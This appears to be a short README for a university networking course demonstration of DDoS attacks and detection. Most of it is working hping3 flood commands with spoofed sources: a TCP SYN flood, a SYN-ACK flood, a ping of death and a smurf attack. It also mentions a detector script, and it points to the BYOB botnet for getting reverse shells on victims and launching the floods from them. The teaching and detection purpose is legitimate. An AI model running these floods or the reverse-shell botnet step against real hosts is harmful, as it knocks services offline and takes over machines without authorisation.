DDOS attack and detection

Hping3, SniffnDetect and BYOB demonstration

This demonstration was a part of graded evalutation for the Course Computer Networks, TY Computer Engineering, COEP

1) DDOS attack

$ sudo apt intstall hping3

4 Attacks namely :

  • TCP SYN flood
$ sudo hping3 -S -p <port no> --flood --rand-source <target ip>
  • TCP SYN-ACK flood
$ sudo hping3 -SA -p <port no> --flood --rand-source <target ip>
  • Ping of Death
$ sudo hping3 -1 -d <max packet size> -p <port no> --flood --rand-source <target ip>
  • ICMP Smurf Attack
$ sudo hping3 -1 -d <max packet size> -p <port no> --flood <target ip> -a <target ip>

DDOS Detection

$ cd ddos-detector
$ sudo python3 app.py

Can detect the above attacks in the attack terminal with this toolkit

BYOB

Installation

Gain access to reverse shell after installtion, and execute the above attacks on victims

License

MIT